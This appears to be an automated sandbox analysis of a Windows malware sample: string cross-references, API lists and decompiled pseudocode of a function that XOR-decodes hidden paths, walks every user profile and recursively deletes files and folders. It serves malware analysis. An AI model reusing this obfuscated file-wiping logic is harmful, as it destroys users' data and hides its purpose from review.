\, xrefs: 0040AD1B
V, xrefs: 0040B9A2
), xrefs: 0040A8CF
+, xrefs: 0040BA41
X, xrefs: 0040C168
E, xrefs: 0040AFA2
(, xrefs: 0040BFAA
f, xrefs: 0040ABC6
3, xrefs: 0040AC21
G, xrefs: 0040A2EA
8, xrefs: 004099DD
w, xrefs: 0040BA4F
&, xrefs: 0040A322
!, xrefs: 0040A829
8, xrefs: 0040A5B7
S, xrefs: 0040A8F2
/, xrefs: 0040C3C5
-, xrefs: 00409CDB
?, xrefs: 0040A8DD
!, xrefs: 0040BE40
7, xrefs: 0040A055
F, xrefs: 0040ADA0
?, xrefs: 0040B34D
*, xrefs: 0040AED9
P, xrefs: 0040AED2
2, xrefs: 00409EF2
Y, xrefs: 0040C04B
f, xrefs: 0040BE8D
P, xrefs: 0040A0F6
0, xrefs: 0040A7C0
>, xrefs: 0040A1B8
D, xrefs: 00409CFE
?, xrefs: 0040B5B8
,, xrefs: 0040C13E
9, xrefs: 0040A55C
0, xrefs: 0040B33F
7, xrefs: 0040A6E9
@, xrefs: 00409CB8
:, xrefs: 0040AAEF
N, xrefs: 0040AAE1
[, xrefs: 0040A91C
., xrefs: 0040C3F6
,, xrefs: 0040B5DB
Z, xrefs: 0040A946
/, xrefs: 0040B20D
,, xrefs: 0040AE85
-, xrefs: 0040A3F9
&, xrefs: 0040AA63
3, xrefs: 0040AC3D
&, xrefs: 0040B831
., xrefs: 0040B455
-, xrefs: 0040BBE3
3, xrefs: 0040BD15
6, xrefs: 0040A31B
", xrefs: 00409B24
&, xrefs: 0040AE8C
(, xrefs: 0040B49B
Y, xrefs: 0040B737
', xrefs: 0040ADB5
U, xrefs: 0040B229
N, xrefs: 0040B729
[, xrefs: 0040C567
y, xrefs: 0040A104
kEv7OM, xrefs: 0040AF55
-, xrefs: 0040AAA9
T, xrefs: 0040ABE9
U, xrefs: 0040AFEF
0, xrefs: 0040B6DC
\, xrefs: 0040AC52
;, xrefs: 0040A7F1
#, xrefs: 0040B5F7
f, xrefs: 0040A830
=, xrefs: 0040A205
$, xrefs: 0040BD3F
#, xrefs: 0040A41C
+, xrefs: 0040C54B
A, xrefs: 0040B4BE
^, xrefs: 0040AABE
), xrefs: 00409A46
+, xrefs: 0040A1F0
#, xrefs: 0040B1E3
?, xrefs: 0040C11B
#, xrefs: 0040B237
g, xrefs: 0040C27E
6, xrefs: 00409E30
p, xrefs: 00409FAF
(, xrefs: 0040BA5D
crZXW, xrefs: 0040C1D6
t, xrefs: 0040C598
E, xrefs: 0040AEA8
[, xrefs: 0040B463
, xrefs: 004099CF
V, xrefs: 0040AA9B
5, xrefs: 00409DE3
R, xrefs: 0040AA78
:, xrefs: 0040B5AA
E0vc0y, xrefs: 00409C3A
], xrefs: 0040ABCD
3, xrefs: 0040ABE2
o, xrefs: 0040B12F
], xrefs: 0040A52B
WbR06E, xrefs: 0040B079
<, xrefs: 0040BFBF
S, xrefs: 0040B401
_, xrefs: 00409B6A
7, xrefs: 0040BD85
?, xrefs: 0040BE6A
3, xrefs: 0040BE47
/, xrefs: 0040BC29
|, xrefs: 0040A54E
E, xrefs: 0040B416
3, xrefs: 0040BEC5
^, xrefs: 00409B7F
/, xrefs: 0040A462
Q, xrefs: 0040AFF6
', xrefs: 0040B5BF
(, xrefs: 0040B862
3, xrefs: 0040BFA3
', xrefs: 0040A8EB
), xrefs: 0040AEC4
,, xrefs: 0040A063
iK3ZCN, xrefs: 0040A3AC
8, xrefs: 0040B40F
`, xrefs: 0040B1FF
;, xrefs: 0040A98C
7, xrefs: 0040AFBE
Z, xrefs: 0040B4A2
A7XT7o, xrefs: 0040BDFA
", xrefs: 0040C38D
$, xrefs: 0040AC60
;, xrefs: 0040AEB6
&, xrefs: 0040BC30
dyaGe7, xrefs: 0040A179
$, xrefs: 0040A47E
7, xrefs: 00409C95
0, xrefs: 00409A31
4, xrefs: 0040C23F
7, xrefs: 00409B08
, xrefs: 004099BA
5, xrefs: 0040B986
3fGhb4, xrefs: 0040C359
, xrefs: 0040AB70
0, xrefs: 0040B2EB
v8c5q7, xrefs: 0040B7C8
!, xrefs: 0040B714
&, xrefs: 0040AAB7
i, xrefs: 0040AD8B
EFwTFS, xrefs: 0040B673
j, xrefs: 0040BAFE
z, xrefs: 00409A54
G, xrefs: 0040B105
(, xrefs: 0040BABF
/, xrefs: 0040BFF0
U, xrefs: 0040ADAE
, xrefs: 0040B854
8, xrefs: 0040AFB0
zyxDD9, xrefs: 00409D73
Z, xrefs: 0040A314
iUJZZT, xrefs: 0040B3C9
=, xrefs: 0040BD54
1, xrefs: 0040C145
), xrefs: 0040A7E3
/, xrefs: 0040BC1B
9, xrefs: 0040BD00
W, xrefs: 0040B004
tw6SVt, xrefs: 0040BF41
66oA6, xrefs: 0040B52C
P, xrefs: 0040ADA7
5, xrefs: 0040B478
<, xrefs: 00409A1C
S, xrefs: 0040B46A
;, xrefs: 00409E06
W8OPv, xrefs: 0040A625
:, xrefs: 0040B0FE
A, xrefs: 0040C25B
M, xrefs: 0040AEE0
1, xrefs: 0040AB20
<, xrefs: 0040B0DB
S, xrefs: 0040B4A9
, xrefs: 0040C094
0, xrefs: 0040C0EA
MaS1o, xrefs: 0040B19D
iXj8Gp, xrefs: 0040A281
(, xrefs: 0040ABDB
C, xrefs: 0040B1F1
,, xrefs: 0040C575
#, xrefs: 0040A59B
+, xrefs: 0040AA5C
W, xrefs: 0040B6FF
`, xrefs: 0040AFC5
R, xrefs: 0040AA55
], xrefs: 0040B6D5
=, xrefs: 0040AC67
], xrefs: 0040B6AB
<, xrefs: 0040BF79
D, xrefs: 0040B486
., xrefs: 0040A3EB
R, xrefs: 0040BD70
C, xrefs: 0040B6F1
%, xrefs: 0040A1C6
sWNRzY, xrefs: 00409AC9
Q, xrefs: 0040AD37
7, xrefs: 0040A42A
>, xrefs: 0040AFE8
Q, xrefs: 0040B4B0
V, xrefs: 0040AE7E
5, xrefs: 0040B939
;, xrefs: 0040C106
Y, xrefs: 00409B94
T7bHO, xrefs: 0040AB95
/, xrefs: 0040A415
8, xrefs: 0040B753
&, xrefs: 0040BBFF
#, xrefs: 0040A2F1
jDzAF, xrefs: 0040A4F3
L, xrefs: 0040A7D5
1, xrefs: 0040BD7E
=, xrefs: 0040A555
(, xrefs: 0040C3EF
%, xrefs: 0040B5D4
v, xrefs: 0040BFB1
5, xrefs: 0040BFE9
&, xrefs: 0040A06A
5, xrefs: 0040A5A2
$, xrefs: 0040A962
P, xrefs: 0040BFF7
7, xrefs: 0040AB27
2, xrefs: 004099C1

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HeapProcess$Token$AdjustLookupPrivilegePrivilegesValue$AllocCloseCurrentFreeHandleOpen
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $!$!$!$!$!$!$!$!$!$!$!$!$"$"$"$"$"$"$"$"$"$#$#$#$#$#$#$#$#$#$#$#$#$$$$$$$$$$$$$$$%$%$%$%$%$%$%$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$'$'$'$'$'$'$'$'$'$($($($($($($($($($)$)$)$)$)$)$)$)$)$*$*$*$*$*$*$*$*$*$+$+$+$+$+$+$+$+$+$+$,$,$,$,$,$,$,$,$,$,$,$,$-$-$-$-$-$-$-$-$-$.$.$.$.$.$/$/$/$/$/$/$/$/$/$0$0$0$0$0$0$0$0$0$0$0$099Bf$1$1$1$1$1$1$1$1$1$2$2$2$2$2$2$2$2$2$2$2$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3fGhb4$4$4$4$4$4$4$4$4$4$4$5$5$5$5$5$5$5$5$5$5$5$5$58AZV$6$6$6$6$6$60aFu6$66oA6$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$8$8$8$8$8$8$8$8$8$9$9$9$9$9$9$9$9$:$:$:$:$:$:$:$:$:$:$:$:$:$;$;$;$;$;$;$;$;$;$;$;$;$<$<$<$<$<$<$<$<$<$<$=$=$=$=$=$=$=$=$=$=$=$=$=$>$>$>$>$>$>$?$?$?$?$?$?$?$?$?$?$?$?$@$@$@$A$A$A$A$A7XT7o$B$B$B$B$C$C$C$D$D$D$D$Dfk8p$E$E$E$E$E$E$E0vc0y$EFwTFS$Em0X2t$F$F$F$F$F$G$G$G$G$J$J$J$K$L$L$M$M$M$MaS1o$N$N$P$P$P$P$P$P$P$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$T$T$T$T$T$T$T7bHO$U$U$U$U$U$U$U$U$U$U$V$V$V$V$V$V$V$VYVRo$W$W$W$W$W$W8OPv$WbR06E$X$X$X$X$X$Y$Y$Y$Y$Y$Y$Y$Z$Z$Z$Z$Z$Z$[$[$[$[$[$[$[$\$\$\$\$\$]$]$]$]$]$]$]$^$^$^$^$^$_$_$_$_$_$_$_$`$`$`$`$`$aespij$c$c$c$c$cpZPef$crZXW$dyaGe7$e$e$f$f$f$f$g$g$h$i$iK3ZCN$iUJZZT$iXj8Gp$j$j$jDzAF$jRp3k$k$k$kEv7OM$nCCBdY$o$p$q$qLvOsk$qxABll$r$s$sWNRzY$t$t$tw6SVt$u$u$uYVL5$v$v$v8c5q7$w$x$xx2jIk$y$y$z$z$zroWH5$zyxDD9$|$~
API String ID: 3741596582-2813118236
Opcode ID: 473b9f6e620ae6477bcc553695ec615c5ccb8acf3061ff97ebe30760170ecb6e
Instruction ID: bacfeb3de9847f11a0e76f1736a6e042fc8214aa2d26653d0b9790e9b1efbdb0
Opcode Fuzzy Hash: 473b9f6e620ae6477bcc553695ec615c5ccb8acf3061ff97ebe30760170ecb6e
Instruction Fuzzy Hash: F153C7609086E8C9EB22C664CD587DEBFB55B12309F4440D9D18D3B2C2C7BA1F89DF66

Function 00419C40, Relevance: 249.0, APIs: 21, Strings: 121, Instructions: 450
memoryfile

C-Code - Quality: 51%

			E00419C40(void* __eflags) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				signed int _v36;
				void* _v40;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v228;
				char _v232;
				void* _v236;
				char _v240;
				char _v244;
				char _v248;
				long _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				struct _WIN32_FIND_DATAW _v852;
				intOrPtr _t309;
				void* _t333;
				void* _t449;
				void* _t450;

				_v8 = HeapAlloc(GetProcessHeap(), 8, 0x208);
				_v32 = HeapAlloc(GetProcessHeap(), 8, 0x208);
				_v236 = HeapAlloc(GetProcessHeap(), 8, 0x208);
				_v252 = 0x104;
				_v224 = 0x23;
				_v223 = 0x6a;
				_v222 = 0x56;
				_v221 = 0x74;
				_v220 = 0x11;
				_v219 = 0x31;
				_v218 = 0xe;
				_v217 = 0x6a;
				_v216 = 0x55;
				_v215 = 0x74;
				_v214 = 0x52;
				_v213 = 0x31;
				_v212 = 0x3c;
				_v211 = 0x6a;
				_v210 = 0x5c;
				_v209 = 0x74;
				_v208 = 6;
				_v207 = 0x31;
				_v206 = 0x1b;
				_v205 = 0x6a;
				_v204 = 0x50;
				_v203 = 0x74;
				_v202 = 0x1c;
				_v201 = 0x31;
				_v200 = 8;
				_v199 = 0x6a;
				_v198 = 0x4a;
				_v197 = 0x74;
				_v196 = 0x2e;
				_v195 = 0x31;
				_v194 = 0x3b;
				_v193 = 0x6a;
				_v192 = 0x5c;
				_v191 = 0x74;
				_v190 = 0x1f;
				_v189 = 0x31;
				_v188 = 0x1f;
				_v187 = 0x6a;
				_v186 = 0x39;
				_v185 = 0x74;
				_v72 = 0x6f;
				_v71 = 0x6a;
				_v70 = 0x39;
				_v69 = 0x74;
				_v68 = 0x72;
				_v67 = 0x31;
				E00402B00( &_v248, 0x50);
				_v12 = 0;
				while(_v12 < 0x28) {
					if(1 != 0) {
						asm("cdq");
						_t65 = _v12 % 6 - 0x44; // 0x6f
						E00402AE0( &_v248, _v12,  *(_t449 + _v12 - 0xdc) & 0x000000ff ^  *(_t449 + _t65) & 0x000000ff);
					}
					_v12 = _v12 + 1;
				}
				_v184 = 8;
				_v183 = 0x38;
				_v182 = 0x3a;
				_v181 = 0x76;
				_v180 = 4;
				_v179 = 0x49;
				_v178 = 0x7c;
				_v177 = 0x4a;
				_v176 = 0x17;
				_v175 = 0x74;
				_v174 = 0x3d;
				_v173 = 0x38;
				_v172 = 0x2b;
				_v171 = 0x76;
				_v170 = 0x28;
				_v169 = 0x49;
				_v168 = 0x74;
				_v167 = 0x4a;
				_v166 = 0x19;
				_v165 = 0x74;
				_v164 = 0x2a;
				_v163 = 0x38;
				_v162 = 0x2b;
				_v161 = 0x76;
				_v160 = 0x18;
				_v159 = 0x49;
				_v158 = 0x64;
				_v157 = 0x4a;
				_v156 = 0x22;
				_v155 = 0x74;
				_v154 = 0x2c;
				_v153 = 0x38;
				_v152 = 0x27;
				_v151 = 0x76;
				_v150 = 4;
				_v149 = 0x49;
				_v148 = 0x38;
				_v147 = 0x4a;
				_v48 = 0x49;
				_v47 = 0x38;
				_v46 = 0x4a;
				_v45 = 0x76;
				_v44 = 0x74;
				E00402B00( &_v244, 0x4c);
				_v16 = 0;
				while(_v16 < 0x26) {
					if(1 != 0) {
						asm("cdq");
						_t125 = _v16 % 5 - 0x2c; // 0x49
						E00402AE0( &_v244, _v16,  *(_t449 + _v16 - 0xb4) & 0x000000ff ^  *(_t449 + _t125) & 0x000000ff);
					}
					_v16 = _v16 + 1;
				}
				_v260 = E00402AD0( &_v244);
				_t309 = E00402AD0( &_v248);
				_v256 = _t309;
				__imp__GetProfilesDirectoryW(_v8,  &_v252);
				if(_t309 != 0) {
					wsprintfW(_v32, L"%s\\*", _v8);
					_t450 = _t450 + 0xc;
					_v40 = FindFirstFileW(_v32,  &_v852);
					while(_v40 != 0xffffffff) {
						_t333 = E0041A420( &(_v852.cFileName));
						_t450 = _t450 + 4;
						if(_t333 == 0) {
							_v36 = 0;
							while(_v36 < 2) {
								_v80 = 0x3a;
								_v79 = 0x63;
								_v78 = 0x7b;
								_v77 = 0x71;
								_v76 = 0x54;
								_v75 = 0x66;
								_v56 = 0x66;
								_v55 = 0x63;
								_v54 = 0x51;
								_v53 = 0x71;
								_v52 = 0x54;
								E00402B00( &_v232, 0xc);
								_v20 = 0;
								while(_v20 < 6) {
									if(1 != 0) {
										_t163 = _v20 - 0x4c; // 0x3a
										asm("cdq");
										_t170 = _v20 % 5 - 0x34; // 0x66
										E00402AE0( &_v232, _v20,  *(_t449 + _t163) & 0x000000ff ^  *(_t449 + _t170) & 0x000000ff);
									}
									_v20 = _v20 + 1;
								}
								StrCpyW(_v32, _v8);
								StrCatW(_v32, E00402AD0( &_v232));
								_v108 = 0x41;
								_v107 = 0x32;
								_v106 = 0x32;
								_v105 = 0x66;
								_v104 = 0x1d;
								_v103 = 0x56;
								_v102 = 0x41;
								_v101 = 0x32;
								_v100 = 0x32;
								_v99 = 0x66;
								_v98 = 0x1d;
								_v97 = 0x56;
								_v96 = 0x41;
								_v95 = 0x32;
								_v94 = 0x32;
								_v93 = 0x66;
								_v92 = 0x41;
								_v91 = 0x56;
								_v88 = 0x64;
								_v87 = 0x32;
								_v86 = 0x41;
								_v85 = 0x66;
								_v84 = 0x41;
								_v83 = 0x56;
								E00402B00( &_v228, 0x24);
								_v24 = 0;
								while(_v24 < 0x12) {
									if(1 != 0) {
										asm("cdq");
										_t215 = _v24 % 6 - 0x54; // 0x64
										E00402AE0( &_v228, _v24,  *(_t449 + _v24 - 0x68) & 0x000000ff ^  *(_t449 + _t215) & 0x000000ff);
									}
									_v24 = _v24 + 1;
								}
								_push( *((intOrPtr*)(_t449 + _v36 * 4 - 0x100)));
								_push( &(_v852.cFileName));
								_push(_v8);
								wsprintfW(_v236, E00402AD0( &_v228));
								E00403590(_v236, 1, 1);
								_t450 = _t450 + 0x20;
								E00402B30( &_v228);
								E00402B30( &_v232);
								_v36 = _v36 + 1;
							}
						}
						if(FindNextFileW(_v40,  &_v852) == 0) {
							FindClose(_v40);
							_v40 = 0xffffffff;
						}
					}
				}
				_v144 = 0x71;
				_v143 = 0x64;
				_v142 = 0x3c;
				_v141 = 0x33;
				_v140 = 0x21;
				_v139 = 0x54;
				_v138 = 0x17;
				_v137 = 0x6f;
				_v136 = 0x47;
				_v135 = 0x58;
				_v134 = 0x31;
				_v133 = 0x64;
				_v132 = 2;
				_v131 = 0x33;
				_v130 = 0xa;
				_v129 = 0x54;
				_v128 = 0xb;
				_v127 = 0x6f;
				_v126 = 0x5c;
				_v125 = 0x58;
				_v124 = 0x20;
				_v123 = 0x64;
				_v122 = 0x4a;
				_v121 = 0x33;
				_v120 = 4;
				_v119 = 0x54;
				_v118 = 0x30;
				_v117 = 0x6f;
				_v116 = 0x56;
				_v115 = 0x58;
				_v114 = 0x39;
				_v113 = 0x64;
				_v112 = 0x1f;
				_v111 = 0x33;
				_v110 = 0x58;
				_v109 = 0x54;
				_v64 = 0x54;
				_v63 = 0x64;
				_v62 = 0x6f;
				_v61 = 0x33;
				_v60 = 0x58;
				E00402B00( &_v240, 0x48);
				_v28 = 0;
				while(_v28 < 0x24) {
					if(1 != 0) {
						asm("cdq");
						_t288 = _v28 % 5 - 0x3c; // 0x54
						E00402AE0( &_v240, _v28,  *(_t449 + _v28 - 0x8c) & 0x000000ff ^  *(_t449 + _t288) & 0x000000ff);
					}
					_v28 = _v28 + 1;
				}
				ExpandEnvironmentStringsW(E00402AD0( &_v240), _v8, 0x104);
				E00403590(_v8, 1, 1);
				HeapFree(GetProcessHeap(), 0, _v32);
				HeapFree(GetProcessHeap(), 0, _v236);
				HeapFree(GetProcessHeap(), 0, _v8);
				E00402B30( &_v240);
				E00402B30( &_v244);
				return E00402B30( &_v248);
			}

0x00419c5e
0x00419c75
0x00419c8c
0x00419c92
0x00419c9c
0x00419ca3
0x00419caa
0x00419cb1
0x00419cb8
0x00419cbf
0x00419cc6
0x00419ccd
0x00419cd4
0x00419cdb
0x00419ce2
0x00419ce9
0x00419cf0
0x00419cf7
0x00419cfe
0x00419d05
0x00419d0c
0x00419d13
0x00419d1a
0x00419d21
0x00419d28
0x00419d2f
0x00419d36
0x00419d3d
0x00419d44
0x00419d4b
0x00419d52
0x00419d59
0x00419d60
0x00419d67
0x00419d6e
0x00419d75
0x00419d7c
0x00419d83
0x00419d8a
0x00419d91
0x00419d98
0x00419d9f
0x00419da6
0x00419dad
0x00419db4
0x00419db8
0x00419dbc
0x00419dc0
0x00419dc4
0x00419dc8
0x00419dd4
0x00419dd9
0x00419deb
0x00419df8
0x00419e08
0x00419e10
0x00419e22
0x00419e22
0x00419de8
0x00419de8
0x00419e29
0x00419e30
0x00419e37
0x00419e3e
0x00419e45
0x00419e4c
0x00419e53
0x00419e5a
0x00419e61
0x00419e68
0x00419e6f
0x00419e76
0x00419e7d
0x00419e84
0x00419e8b
0x00419e92
0x00419e99
0x00419ea0
0x00419ea7
0x00419eae
0x00419eb5
0x00419ebc
0x00419ec3
0x00419eca
0x00419ed1
0x00419ed8
0x00419edf
0x00419ee6
0x00419eed
0x00419ef4
0x00419efb
0x00419f02
0x00419f09
0x00419f10
0x00419f17
0x00419f1e
0x00419f25
0x00419f2c
0x00419f33
0x00419f37
0x00419f3b
0x00419f3f
0x00419f43
0x00419f4f
0x00419f54
0x00419f66
0x00419f73
0x00419f83
0x00419f8b
0x00419f9d
0x00419f9d
0x00419f63
0x00419f63
0x00419faf
0x00419fbb
0x00419fc0
0x00419fd1
0x00419fd9
0x00419fec
0x00419ff2
0x0041a006
0x0041a009
0x0041a01a
0x0041a01f
0x0041a024
0x0041a02a
0x0041a03c
0x0041a046
0x0041a04a
0x0041a04e
0x0041a052
0x0041a056
0x0041a05a
0x0041a05e
0x0041a062
0x0041a066
0x0041a06a
0x0041a06e
0x0041a07a
0x0041a07f
0x0041a091
0x0041a09e
0x0041a0a3
0x0041a0ab
0x0041a0b3
0x0041a0c5
0x0041a0c5
0x0041a08e
0x0041a08e
0x0041a0d4
0x0041a0ea
0x0041a0f0
0x0041a0f4
0x0041a0f8
0x0041a0fc
0x0041a100
0x0041a104
0x0041a108
0x0041a10c
0x0041a110
0x0041a114
0x0041a118
0x0041a11c
0x0041a120
0x0041a124
0x0041a128
0x0041a12c
0x0041a130
0x0041a134
0x0041a138
0x0041a13c
0x0041a140
0x0041a144
0x0041a148
0x0041a14c
0x0041a158
0x0041a15d
0x0041a16f
0x0041a17c
0x0041a189
0x0041a191
0x0041a1a3
0x0041a1a3
0x0041a16c
0x0041a16c
0x0041a1b4
0x0041a1bb
0x0041a1bf
0x0041a1d3
0x0041a1e7
0x0041a1ec
0x0041a1f5
0x0041a200
0x0041a039
0x0041a039
0x0041a03c
0x0041a21d
0x0041a223
0x0041a229
0x0041a229
0x0041a230
0x0041a009
0x0041a235
0x0041a23c
0x0041a243
0x0041a24a
0x0041a251
0x0041a258
0x0041a25f
0x0041a266
0x0041a26d
0x0041a274
0x0041a27b
0x0041a282
0x0041a289
0x0041a28d
0x0041a291
0x0041a295
0x0041a299
0x0041a29d
0x0041a2a1
0x0041a2a5
0x0041a2a9
0x0041a2ad
0x0041a2b1
0x0041a2b5
0x0041a2b9
0x0041a2bd
0x0041a2c1
0x0041a2c5
0x0041a2c9
0x0041a2cd
0x0041a2d1
0x0041a2d5
0x0041a2d9
0x0041a2dd
0x0041a2e1
0x0041a2e5
0x0041a2e9
0x0041a2ed
0x0041a2f1
0x0041a2f5
0x0041a2f9
0x0041a305
0x0041a30a
0x0041a31c
0x0041a329
0x0041a339
0x0041a341
0x0041a353
0x0041a353
0x0041a319
0x0041a319
0x0041a36f
0x0041a37d
0x0041a392
0x0041a3a8
0x0041a3bb
0x0041a3c7
0x0041a3d2
0x0041a3e6

APIs

GetProcessHeap.KERNEL32(00000008,00000208), ref: 00419C51
HeapAlloc.KERNEL32(00000000), ref: 00419C58
GetProcessHeap.KERNEL32(00000008,00000208), ref: 00419C68
HeapAlloc.KERNEL32(00000000), ref: 00419C6F
GetProcessHeap.KERNEL32(00000008,00000208), ref: 00419C7F
HeapAlloc.KERNEL32(00000000), ref: 00419C86

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetProfilesDirectoryW.USERENV(5,00000104,0000004C,00000050), ref: 00419FD1
wsprintfW.USER32 ref: 00419FEC
FindFirstFileW.KERNEL32(?,?), ref: 0041A000

Part of subcall function 0041A420: StrCmpW.SHLWAPI(0041A01F,0041C7C4), ref: 0041A42C
Part of subcall function 0041A420: StrCmpW.SHLWAPI(0041A01F,0041C7C8), ref: 0041A43F

StrCpyW.SHLWAPI(?,5), ref: 0041A0D4
StrCatW.SHLWAPI(?,00000000), ref: 0041A0EA
wsprintfW.USER32 ref: 0041A1D3
FindNextFileW.KERNEL32(000000FF,?), ref: 0041A215
FindClose.KERNEL32(000000FF), ref: 0041A223
ExpandEnvironmentStringsW.KERNEL32(00000000,5,00000104,00000048), ref: 0041A36F

Part of subcall function 00403590: lstrlenW.KERNEL32(00000000), ref: 004035D9
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000008,00000208), ref: 004035E9
Part of subcall function 00403590: HeapAlloc.KERNEL32(00000000), ref: 004035F0
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000008,00000028), ref: 0040360E
Part of subcall function 00403590: HeapAlloc.KERNEL32(00000000), ref: 00403615
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000008,00000250), ref: 00403630
Part of subcall function 00403590: HeapAlloc.KERNEL32(00000000), ref: 00403637
Part of subcall function 00403590: lstrcpyW.KERNEL32(00000000,00000000), ref: 00403653
Part of subcall function 00403590: lstrcatW.KERNEL32 ref: 004036DE
Part of subcall function 00403590: lstrcpyW.KERNEL32(00000000,00000000), ref: 004036EC
Part of subcall function 00403590: lstrcatW.KERNEL32 ref: 0040378F
Part of subcall function 00403590: FindFirstFileW.KERNEL32(00000000,00000000), ref: 0040379D
Part of subcall function 00403590: lstrlenW.KERNEL32(-0000002C), ref: 004037F0
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403814
Part of subcall function 00403590: HeapFree.KERNEL32(00000000), ref: 0040381B
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000008,?), ref: 00403829
Part of subcall function 00403590: HeapAlloc.KERNEL32(00000000), ref: 00403830
Part of subcall function 00403590: lstrcpyW.KERNEL32(00000000,00000000), ref: 00403859
Part of subcall function 00403590: lstrcatW.KERNEL32 ref: 0040386C
Part of subcall function 00403590: lstrcatW.KERNEL32 ref: 0040388C
Part of subcall function 00403590: RemoveDirectoryW.KERNEL32(00000000), ref: 004038C1
Part of subcall function 00403590: GetLastError.KERNEL32 ref: 004038D1
Part of subcall function 00403590: DeleteFileW.KERNEL32(00000000), ref: 004038E6
Part of subcall function 00403590: GetLastError.KERNEL32 ref: 004038F6
Part of subcall function 00403590: FindNextFileW.KERNEL32(000000FF,00000000), ref: 00403909
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040393B
Part of subcall function 00403590: HeapFree.KERNEL32(00000000), ref: 00403942
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403954
Part of subcall function 00403590: HeapFree.KERNEL32(00000000), ref: 0040395B
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040396D
Part of subcall function 00403590: HeapFree.KERNEL32(00000000), ref: 00403974
Part of subcall function 00403590: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403986
Part of subcall function 00403590: HeapFree.KERNEL32(00000000), ref: 0040398D

GetProcessHeap.KERNEL32(00000000,?), ref: 0041A38B
HeapFree.KERNEL32(00000000), ref: 0041A392
GetProcessHeap.KERNEL32(00000000,?), ref: 0041A3A1
HeapFree.KERNEL32(00000000), ref: 0041A3A8
GetProcessHeap.KERNEL32(00000000,5), ref: 0041A3B4
HeapFree.KERNEL32(00000000), ref: 0041A3BB

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

o, xrefs: 0041A266
U, xrefs: 00419CD4
v, xrefs: 00419E3E
#, xrefs: 00419C9C
f, xrefs: 0041A114
(, xrefs: 00419E8B
A, xrefs: 0041A0F0
., xrefs: 00419D60
,, xrefs: 00419EFB
8, xrefs: 00419E30
X, xrefs: 0041A2CD
5, xrefs: 00419FD0, 00419FE2, 0041A0CF, 0041A1BF, 0041A362, 0041A37C, 0041A3B1
t, xrefs: 00419CB1
J, xrefs: 0041A2B1
f, xrefs: 0041A12C
T, xrefs: 0041A258
%s\*, xrefs: 00419FE3
1, xrefs: 00419D67
3, xrefs: 0041A2DD
2, xrefs: 0041A0F8
t, xrefs: 00419D05
fcQqT, xrefs: 0041A0B3
J, xrefs: 00419EA0
T, xrefs: 0041A2E5
t, xrefs: 00419EAE
v, xrefs: 00419ECA
$, xrefs: 0041A31C
t, xrefs: 00419E99
|, xrefs: 00419E53
V, xrefs: 0041A134
